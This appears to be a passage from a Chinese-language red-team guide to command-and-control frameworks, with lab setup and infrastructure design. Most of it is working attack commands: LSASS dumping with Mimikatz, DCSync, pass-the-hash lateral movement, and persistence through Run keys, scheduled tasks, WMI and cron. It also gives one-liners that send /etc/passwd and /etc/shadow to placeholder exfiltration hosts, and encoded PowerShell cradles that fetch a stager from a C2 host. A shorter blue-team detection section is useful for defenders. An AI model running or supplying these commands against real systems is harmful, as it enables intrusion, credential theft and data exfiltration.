Windows,利用受信任的基础设施。 #### 安装 ``` # Prerequisites: .NET 5.0 SDK wget https://dot.net/v1/dotnet-install.sh chmod +x dotnet-install.sh ./dotnet-install.sh --version 5.0 # Clone and run git clone --recurse-submodules https://github.com/cobbr/Covenant cd Covenant/Covenant dotnet run # Access at https://127.0.0.1:7443 ``` #### 关键 Grunt 命令 ``` # Recon Shell whoami Shell ipconfig /all Shell net user /domain # Privilege Escalation GetSystem BypassUAC PowerShellImport /path/to/PowerUp.ps1 PowerShell Invoke-AllChecks # Credential Harvesting SharpUp audit SafetyKatz "sekurlsa::logonpasswords" DCSync /user:Administrator /domain:corp.local # Lateral Movement SharpWMI /action:exec /computername:TARGET /command:"cmd /c ..." PowerShellImport /path/to/Invoke-TheHash.ps1 InvokeWMIExec NTLM HASH lateral movement # Persistence PersistService /servicecommand:"..." /servicename:svc PersistAutorun /value:... /name:... ``` ### 7. Merlin Merlin 的独特优势在于使用 **HTTP/2 与 HTTP/3 协议** — 大多数网络监控工具与防火墙无法有效检测。是协议规避场景下的有力选择。 #### 安装 ``` # Download latest release wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z 7za x merlinServer-Linux-x64.7z chmod +x merlinServer-Linux-x64 # Run server ./merlinServer-Linux-x64 ``` #### 关键命令 ``` # Create listener Merlin» listeners Merlin[listeners]» use https Merlin[listeners][HTTPS]» set Interface 0.0.0.0 Merlin[listeners][HTTPS]» set Port 443 Merlin[listeners][HTTPS]» start # Interact with agent Merlin» agent interact [AGENT_ID] Merlin[agent][XXXX]» shell whoami Merlin[agent][XXXX]» download /etc/passwd Merlin[agent][XXXX]» upload /local/tool /remote/path Merlin[agent][XXXX]» socks start 1080 ``` ### 8. PoshC2 专门为**代理感知环境**设计,PoshC2 通过企业 Web 代理路由 C2 流量 — 与正常员工上网行为融为一体。由 Nettitude 维护。 #### 安装 ``` # Install curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash # Configure posh-config # Edit config file # Start server posh-server # Start handler (in separate terminal) posh ``` #### 关键命令 ``` # PowerShell implant commands > whoami > pwd > ls > download "C:\Users\victim\secret.txt" > upload C:\Windows\Temp\tool.exe /local/tool.exe > ps-executeassembly /path/SharpHound.exe > invoke-expression (Get-Content PowerView.ps1) ``` ### 9. Brute Ratel C4(商业) 由一位前红队成员开发的商业 C2 框架,代理可执行文件、服务二进制文件、DLL 与 PowerShell 脚本。已知具备高级睡眠混淆与进程注入技术。 **值得注意:** 2022 年被破解并泄露后,被 APT 群体使用,使其成为从防御角度值得理解的 TTP。 ### 10. Cobalt Strike(商业) 企业红队的行业标准。其 Beacon 代理是现存最成熟、文档最完善的 C2 植入体。可变形配置文件可实现近乎无限的流量自定义。国家级 APT 群体多年来使用破解版本,使得检测 Cobalt Strike Beacon 模式对防御者至关重要。 **学习者提示:** Sliver、Havoc 与 Mythic 已覆盖 Cobalt Strike 的多数功能,建议优先学习这些开源替代品。 ## 框架对比矩阵 | 框架 | 语言 | 许可证 | GUI | 多操作员 | 协议 | 最佳适用场景 | 规避等级 | |------|------|--------|-----|----------|------|--------------|----------| | **Sliver** | Go | GPL v3 | CLI | ✅ | mTLS、WG、HTTP/S、DNS | 通用红队 | 高 | | **Havoc** | C/C++/Go | GPL v3 | ✅ Qt | ✅ | HTTP/S、SMB | EDR 绕过重点 | 非常高 | | **Mythic** | Go/React | BSD 3 | ✅ Web | ✅ | HTTP/S、WS、TCP、SMB | 大型行动、研究 | 中高 | | **Empire** | Python/PS | BSD 3 | ✅ Web | ✅ | HTTP/S | Windows LotL | 高 | | **Metasploit** | Ruby | BSD 3 | ❌ | ❌ | TCP、HTTPS | 学习、初始访问 | 低 | | **Covenant** | C# | GPL v3 | ✅ Web | ✅ | HTTP/S | .NET 环境 | 中 | | **Merlin** | Go | GPL v3 | ❌ | ❌ | HTTP/2、HTTP/3 | 协议规避 | 非常高 | | **PoshC2** | Python/PS | BSD 3 | ❌ | ✅ | HTTP/S(代理感知) | 代理环境 | 中 | ## 本地实验室搭建 在接触任何 C2 框架前,请搭建一个**完全隔离的实验室环境**。切勿在非自有网络中运行 C2 基础设施。 ### 推荐实验室架构 ``` ┌─────────────────────────────────────────────────────┐ │ HOST MACHINE │ │ │ │ ┌──────────────┐ ┌───────────────────────┐ │ │ │ Kali Linux │◄───────►│ Windows 10/11 Target │ │ │ │ (Attacker) │ Internal │ (Victim - No AV) │ │ │ │ C2 Server │ Network │ No internet │ │ │ └──────────────┘ └───────────────────────┘ │ │ │ │ (Optional) ┌───────────────────────┐ │ │ │ Windows Server DC │ │ │ │ Active Directory Lab │ │ │ └───────────────────────┘ │ └─────────────────────────────────────────────────────┘ ``` ### 分步实验室搭建 ``` # 1. Install VirtualBox (free) sudo apt install virtualbox # OR VMware Workstation Player (free for personal use) # Download from: https://www.vmware.com/products/workstation-player.html # 2. Download Kali Linux VM # https://www.kali.org/get-kali/#kali-virtual-machines # 3. Download Windows 10 Evaluation VM # https://www.microsoft.com/en-us/software-download/windows10ISO # 4. Configure host-only network in VirtualBox # VirtualBox > File > Host Network Manager > Create # Set subnet: 192.168.56.0/24 # 5. Disable Windows Defender on victim VM (for initial learning) Set-MpPreference -DisableRealtimeMonitoring $true # 6. Install tmux on Kali for session management sudo apt install tmux tmux new -s c2lab ``` ### 网络隔离验证 ``` # On victim VM — verify no internet access ping 8.8.8.8 # Should fail ping 192.168.56.1 # Kali — should succeed # On Kali — start Wireshark to monitor all traffic sudo wireshark & # Capture on host-only interface (vboxnet0) ``` ## C2 基础设施设计 ### 生产级红队基础设施 ``` Internet │ ▼ [CDN/Domain Fronting] ← Cloudflare / AWS CloudFront │ ▼ [Redirector VPS #1] ← DigitalOcean / Vultr / Linode (Apache mod_rewrite) │ ▼ [Redirector VPS #2] ← Different provider, different geo (Nginx reverse proxy) │ ▼ [Team Server] ← Private / air-gapped if possible (Sliver / Havoc / Mythic) │ ▼ [Operator Workstation] ← VPN to Team Server ``` ### Nginx 重定向器配置 ``` # /etc/nginx/sites-available/c2-redirector server { listen 443 ssl; server_name legitimate-looking-domain.com; ssl_certificate /etc/letsencrypt/live/domain/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/domain/privkey.pem; # Only forward requests that look like our implant's beacon location ~* ^/api/v[0-9]+/update { proxy_pass https://TEAMSERVER_IP:443; proxy_ssl_verify off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } # Everything else gets a 404 or redirect to innocuous site location / { return 302 https://google.com; } } ``` ### 为 C2 域配置 Let's Encrypt ``` # Install certbot sudo apt install certbot # Get cert for your C2 domain sudo certbot certonly --standalone -d your-c2-domain.com # Certs stored at: # /etc/letsencrypt/live/your-c2-domain.com/fullchain.pem # /etc/letsencrypt/live/your-c2-domain.com/privkey.pem ``` ### 域名分类(OPSEC) 在任务开始前,注册一个域名需满足: - 具有合理的商业背景故事 - 注册时间超过 30 天(新域名会触发告警) - 在网页过滤系统中有分类(检查 `https://urlfiltering.paloaltonetworks.com`) - 未出现在威胁情报情报库中 ## 后渗透技术 ### 权限提升 ``` # Windows — Check for misconfigured services winPEAS.exe # Check for unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows" # Check for weak file permissions icacls "C:\Program Files\VulnerableApp\service.exe" # AlwaysInstallElevated check reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # Check stored credentials cmdkey /list runas /savecred /user:DOMAIN\admin cmd.exe # Linux — SUID binaries find / -perm -u=s -type f 2>/dev/null # Linux — Sudo rights sudo -l # Linux — Kernel exploits (check with) uname -a ``` ### 横向移动 ``` # Pass-the-Hash (PTH) # Metasploit msf6 > use exploit/windows/smb/psexec msf6 > set SMBUser Administrator msf6 > set SMBPass aad3b435b514:NTLM_HASH msf6 > run # Impacket PsExec python3 psexec.py DOMAIN/Administrator@TARGET_IP -hashes :NTLM_HASH # Impacket WMIExec (stealthier) python3 wmiexec.py DOMAIN/Administrator@TARGET_IP -hashes :NTLM_HASH # CrackMapExec — spray across subnet crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --exec-method smbexec # Pass-the-Ticket (PTT) — Kerberos # Extract TGT with Rubeus Rubeus.exe dump /nowrap Rubeus.exe ptt /ticket:BASE64_TICKET # DCOM lateral movement $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGET_IP")) $com.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c payload.exe","7") ``` ### 凭据收集 ``` # Dump LSASS memory (various methods) # Method 1: Task Manager (GUI) — right-click lsass.exe → Create Dump File # Method 2: ProcDump (Sysinternals — less suspicious) .\procdump.exe -accepteula -ma lsass.exe lsass.dmp # Method 3: Comsvcs.dll (LotL — no new binaries) rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id lsass.dmp full # Method 4: Mimikatz directly mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # Method 5: NanoDump (OPSEC - avoids common AV signatures) # https://github.com/helpsystems/nanodump # Parse dump offline with Mimikatz mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" # DCSync (from domain-joined or with DA creds) mimikatz.exe "lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt" python3 secretsdump.py CORP/DomainAdmin:Password@DC_IP ``` ### 持久化机制 ``` # ─── REGISTRY ────────────────────────────────────────────── # Run key (user-level) reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\implant.exe" # Run key (system-level — needs admin) reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\implant.exe" # ─── SCHEDULED TASKS ─────────────────────────────────────── schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\implant.exe" /sc onlogon /ru SYSTEM schtasks /create /tn "SystemMaintenance" /tr "powershell.exe -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://c2/stager')" /sc daily /st 09:00 # ─── SERVICES ────────────────────────────────────────────── sc create "WindowsUpdate" binPath= "C:\Windows\Temp\implant.exe" start= auto sc start WindowsUpdate # ─── WMI PERSISTENCE ─────────────────────────────────────── $filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{ Name = "SystemFilter" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" } # ─── DLL HIJACKING ───────────────────────────────────────── # Find missing DLLs using Process Monitor # Place malicious DLL with same name in writable directory that's in DLL search path # ─── LINUX PERSISTENCE ───────────────────────────────────── # Crontab (crontab -l; echo "*/5 * * * * /tmp/implant &") | crontab - # Systemd service cat > /etc/systemd/system/systemd-update.service << EOF [Unit] Description=System Update Service [Service] ExecStart=/tmp/implant Restart=always [Install] WantedBy=multi-user.target EOF systemctl enable systemd-update ``` ### 数据外泄 ``` # DNS exfiltration (data encoded in DNS queries) # Each subdomain = chunk of exfil data for chunk in $(cat /etc/passwd | base64 | fold -w 30); do nslookup "$chunk.exfil.yourdomain.com" done # HTTPS exfil — disguise as upload curl -X POST https://your-server.com/upload \ -H "Content-Type: application/octet-stream" \ --data-binary @/etc/shadow # Exfil via Slack/Teams webhook (C2 via SaaS) curl -X POST -H 'Content-type: application/json' \ --data '{"text":"DATA: '"$(cat /etc/passwd | base64)"'"}' \ https://hooks.slack.com/services/WEBHOOK_URL # ICMP exfil ping -c 1 -p $(xxd -p /etc/passwd | head -c 16) 192.168.1.100 ``` ## MITRE ATT&CK 映射 C2 活动主要对应 **战术:命令与控制(TA0011)** | 技术 | ID | 描述 | 框架示例 | |------|-----|------|----------| | 应用层协议:Web 协议 | T1071.001 | HTTP/S C2 | 所有框架 | | 应用层协议:DNS | T1071.004 | DNS 隧道 | Sliver DNS、iodine | | 协议封装 | T1572 | 将 C2 封装于其他协议 | DNS/ICMP 隧道 | | 非标准端口 | T1571 | 非常规端口上的 C2 | 自定义端口监听 | | 代理 | T1090 | 重定向器、域名前置 | Nginx/Apache 重定向器 | | 加密通道:非对称加密 | T1573.002 | mTLS、WireGuard | Sliver mTLS | | 传输工具 | T1105 | 上传工具至被控主机 | 上传命令 | | 数据编码:标准编码 | T1132.001 | Base64 编码在 DNS 中 | DNS C2 | | 远程访问软件 | T1219 | 将合法远程工具用作 C2 | TeamViewer、AnyDesk | | Web 服务 | T1102 | 通过合法 Web 服务(C2 via SaaS) | SaaS C2 | **ATT&CK 导航矩阵:** 使用 [https://mitre-attack.github.io/attack-navigator/](https://mitre-attack.github.io/attack-navigator/) 可视化覆盖范围。 ## 蓝队检测 ### 蓝队关注点 #### 网络层指标 ``` 1. BEACONING PATTERNS - Regular interval connections (even with jitter, math can detect it) - Tool: RITA (Real Intelligence Threat Analytics) https://github.com/activecm/rita 2. SUSPICIOUS DNS PATTERNS - High-frequency queries to single domain - Abnormally long subdomains (DNS tunneling) - Queries to newly registered domains 3. CERTIFICATE ANOMALIES - Self-signed certificates on non-standard ports - Mismatched SNI vs certificate Subject - JA3/JA3S TLS fingerprints matching known C2 tools 4. TRAFFIC VOLUME ANOMALIES - Data volumes inconsistent with stated protocol - Outbound data at unusual hours 5. DESTINATION REPUTATION - Connections to IPs with no RDNS - Connections to recently registered domains - Connections to IPs on threat intel feeds ``` #### 端点级指标 ``` # Check for suspicious scheduled tasks schtasks /query /fo LIST /v | findstr /i "task name\|status\|run as user\|task to run" # Check startup registry keys reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Check for suspicious processes Get-Process | Where-Object {$_.MainWindowTitle -eq "" -and $_.SessionId -ne 0} # Check for processes with network connections netstat -b -n 5 | findstr ESTABLISHED # Check for processes making unusual outbound connections (PowerShell) Get-NetTCPConnection -State Established | Select-Object LocalPort,RemoteAddress,RemotePort,OwningProcess # Check for DLL injection (loaded modules in processes) Get-Process | ForEach-Object { $_.Modules | Where-Object {$_.FileName -like "*Temp*"}} # Check for LOLBin abuse (PowerShell making network connections) Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Select -First 20 ``` #### RITA 检测(信标识别) ``` # Install RITA curl -Ls https://raw.githubusercontent.com/activecm/rita/master/install.sh | sudo bash # Import Zeek/Bro logs rita import /path/to/zeek/logs rita-db # Check for beaconing behavior rita show-beacons rita-db | head -20 # Check for DNS tunneling rita show-dns-fqdn-ip-pairs rita-db # Check for long connections rita show-long-connections rita-db ``` #### C2 检测的 Sigma 规则 ``` # Example Sigma rule — Sliver/Cobalt Strike process injection title: Suspicious Process Injection via CreateRemoteThread status: experimental logsource: product: windows category: create_remote_thread detection: selection: SourceImage|endswith: - '\powershell.exe' - '\cmd.exe' - '\wscript.exe' - '\cscript.exe' TargetImage|endswith: - '\svchost.exe' - '\lsass.exe' - '\explorer.exe' condition: selection falsepositives: - Legitimate security software level: high tags: - attack.defense_evasion - attack.t1055.003 ``` ### 蓝队工具栈 | 层级 | 工具 | 用途 | |------|------|------| | 网络 | **Zeek/Bro** | 完整协议日志 | | 网络 | **RITA** | 信标/C2 检测 | | 网络 | **Suricata** | IDS/IPS 与 C2 特征 | | 端点 | **Sysmon** | Windows 进程与网络遥测 | | 端点 | **Velociraptor** | EDR / 取证收集 | | SIEM | **Splunk / Elastic** | 日志聚合与狩猎 | | 威胁情报 | **MISP** | 威胁情报共享 | | 狩猎 | **YARA** | 内存/文件扫描规则 | | 狩猎 | **Volatility** | 内存取证 | ## OPSEC ### 红队 OPSEC 检查清单 ``` PRE-ENGAGEMENT □ Use fresh infrastructure per engagement (never reuse IPs or domains) □ Register domains 30+ days in advance □ Get domains categorized in web filtering solutions □ Obtain valid TLS certificates (Let's Encrypt) □ Use separate C2 for initial access vs post-exploitation □ VPN to teamserver — never expose it directly PAYLOAD GENERATION □ Use beacon mode over session mode (less detectable) □ Set realistic jitter (20-40%) □ Set sleep time > 30 seconds for stealthy engagements □ Customize User-Agent strings □ Use malleable C2 profiles to mimic legitimate apps □ Compile implants fresh per engagement (defeats hash-based detection) □ Test payloads against target EDR in isolated lab before deployment OPERATIONAL □ Proxy all internet traffic through operational VPS □ Use redirectors (never connect agents directly to teamserver) □ Mimic target environment's traffic patterns □ Avoid running tools that touch disk — use in-memory execution □ Prefer LOLBins over custom tools □ Clean up artifacts after tasks □ Kill implants when not needed (reduces detection window) □ Set KillDate on implants COMMUNICATIONS OPSEC □ Use Signal for operator communications □ Separate work and personal devices □ Document all actions (Rules of Engagement compliance) □ Take screenshots of all commands/output (for reporting) ``` ### 载荷投递 OPSEC ``` # OPSEC-safe: Reflective loading in memory (no disk write) # vs # BAD OPSEC: drop file to disk, execute, leave artifact # OPSEC-safe: Encode PowerShell command $command = 'IEX (New-Object Net.WebClient).DownloadString("http://c2/stager")' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encoded = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encoded # Check payload against known EDR before deployment # (Use an isolated VM with EDR installed) # Generate unique payload per target to defeat hash-based detection # Sliver does this automatically per compile ``` ## 学习路径 ### 从入门到精通 ``` STAGE 1 — FOUNDATION (0-3 months) ├── Metasploit Framework (msfconsole + Meterpreter) ├── Network fundamentals (TCP/IP, DNS, HTTP/S) ├── Windows & Linux command line proficiency ├── Basic lab: VirtualBox + Kali + Windows 10 target └── Resources: TryHackMe, HackTheBox starting point STAGE 2 — INTERMEDIATE (3-6 months) ├── Covenant or PowerShell Empire (C2 fundamentals) ├── Wireshark — analyze your own C2 traffic ├── Active Directory attacks (BloodHound, SharpHound) ├── Payload delivery techniques └── Resources: TCM Security courses, VulnHub machines STAGE 3 — ADVANCED (6-12 months) ├── Sliver — full operational workflow ├── Mythic — modular agent development ├── C2 infrastructure design (redirectors, domain fronting) ├── OPSEC tradecraft ├── Havoc — EDR bypass techniques └── Resources: SEKTOR7 courses, SpecterOps Adversary Tactics STAGE 4 — EXPERT (12+ months) ├── Custom implant development (C/C++/Go/Rust) ├── Shellcode development ├── Custom C2 protocol design ├── Kernel-level evasion techniques └── Resources: Maldev Academy, VX Underground ``` ### 推荐实验室与平台 | 平台 | 链接 | 适合人群 | |------|------|----------| | TryHackMe | https://tryhackme.com | 初学者、结构化学习 | | HackTheBox | https://hackthebox.com | 中级及以上、CTF 风格 | | PentesterLab | https://pentesterlab.com | Web 与后渗透 | | VulnHub | https://vulnhub.com | 离线虚拟机、免费 | | GOAD(Active Directory 游戏) | https://github.com/Orange-Cyberdefense/GOAD | 完整 AD 实验室 | | DetectionLab | https://github.com/clong/DetectionLab | 蓝队与狩猎 | ## 参考资料与延伸阅读 ### 官方文档 - **Sliver Wiki:** https://github.com/BishopFox/sliver/wiki - **Havoc 文档:** https://havocframework.com/docs - **Mythic 文档:** https://docs.mythic-c2.net - **Empire Wiki:** https://bc-security.gitbook.io/empire-wiki - **Metasploit 文档:** https://docs.metasploit.com ### C2 框架发现 - **C2 Matrix:** https://www.thec2matrix.com — 60+ 框架横向对比 - **C2 Matrix HowTo:** https://howto.thec2matrix.com — 各框架安装指南 ### 研究与阅读 - **MITRE ATT&CK:** https://attack.mitre.org/tactics/TA0011/ - **Red Canary C2 报告:** https://redcanary.com/threat-detection-report/trends/c2-frameworks/ - **DFIR 报告(Nitrogen 行动 / Sliver):** https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/ - **Microsoft — 狩猎 Sliver C2:** https://www.microsoft.com/en-us/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/ - **Cobalt Strike 可变形配置文件:** https://github.com/Cobalt-Strike/Malleable-C2-Profiles - **RITA(信标检测):** https://github.com/activecm/rita - **AdaptixC2 — 新兴 C2 威胁:** https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/ ### 引用工具 - **BloodHound:** https://github.com/BloodHoundAD/BloodHound - **Impacket:** https://github.com/fortra/impacket - **CrackMapExec:** https://github.com/Porchetta-Industries/CrackMapExec - **Rubeus:** https://github.com/GhostPack/Rubeus - **Sysmon:** https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon - **Sigma 规则:** https://github.com/SigmaHQ/sigma - **YARA:** https://github.com/VirusTotal/yara - **Velociraptor:** https://github.com/Velocidex/velociraptor ### 我的 Medium 文章 ## 贡献 发现错误?或有更优命令、新增框架? 1. Fork 本仓库 2. 创建功能分支:`git checkout -b add-new-framework` 3. 提交变更:`git commit -m "Add XYZ framework setup"` 4. 推送并发起 PR ## 许可证 本文档仅限**教育与研究用途**。所有工具名称与商标归各自所有者所有。仅在您拥有或获得明确授权的系统上使用。
标签:ATT&CK T1003, ATT&CK T1027, ATT&CK T1036, ATT&CK T1040, ATT&CK T1041, ATT&CK T1055, ATT&CK T1056, ATT&CK T1059, ATT&CK T1071, ATT&CK T1078, Brute Ratel C4, C2基础设施, C2框架, C2通信, CDN滥用, Cloudflare, Cobalt Strike, Covenant, DNS隧道, Havoc, Living off the Land, Malleable C2, Merlin, Meterpreter, MITRE ATT&CK, Mythic, PoshC2, PowerShell Empire, Sliver, SSH蜜罐, UML, 云C2, 信标机制, 协议分析, 可视化界面, 后利用技术, 后渗透框架, 命令与控制, 域前置, 多人体追踪, 子域名突变, 学习路径, 安全学习资源, 开源C2, 攻击诱捕, 数据可视化, 数据外传, 无文件恶意软件, 日志审计, 权限提升, 横向移动, 睡眠混淆, 红队OPSEC, 编程规范, 蓝队检测, 请求拦截, 进程注入, 逆向工具, 重定向器